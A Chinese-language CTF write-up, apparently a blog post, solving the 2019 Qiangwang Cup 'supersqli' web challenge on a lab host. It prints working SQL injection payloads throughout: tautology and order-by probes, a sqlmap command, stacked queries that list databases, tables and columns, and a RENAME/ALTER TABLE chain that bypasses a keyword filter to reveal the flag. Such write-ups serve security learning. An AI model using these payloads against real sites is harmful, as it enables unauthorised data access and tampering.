攻防世界/强网杯 2019-supersqli

靶场地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5417&page=1

参考链接

https://zhuanlan.zhihu.com/p/78989602

https://www.jianshu.com/p/e896bd3f5097

本以为简单的目录遍历就可以得到falg实际上是想多了,不过也确认这里是存在注入

http://220.249.52.133:38618/?inject=1' or '1'='1#

 

在试一下sqlmap

python2 sqlmap.py -u "http://220.249.52.133:38618/?inject=1" -v 3 --risk 3 -D supersqli --tables -test-skip=where

失败

order by一下

http://220.249.52.133:38618/?inject=1'order by 2--+

得出有两个参数

union联合查询一下

 

失败 (同时也发现了为什么sqlmap跑不出来了)select|update|drop|insert|where 等等被禁用了

借用上两篇教程了解到堆叠注入

 

暴库

 

http://220.249.52.133:38618/?inject=1';show databases;#

 

爆表

 

http://220.249.52.133:38618/?inject=1';show tables;#

 

查看字段

 

http://220.249.52.133:38618/?inject=1';show columns from `1919810931114514`;#

 

由于select有限制但是没有过滤 alert 和 rename,那么我们可以把表改个名字,再给列改个名字。

先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)。

这样就可以让程序直接查询出 flag 了。

构造 payload 如下,然后访问,看到这个看来就执行到最后一个语句了。(改表名那里直接从 pma 拷了一个语句过来改- -)

/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#

/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#collate

查看一下

 

/?inject=1' or '1'='1

 

 

flag{c168d583ed0d4d7196967b28cbd0b5e9}

新手上路,多多指教

 

posted @ 2020-06-18 10:38  dlddddhm  阅读(329)  评论(0编辑  收藏  举报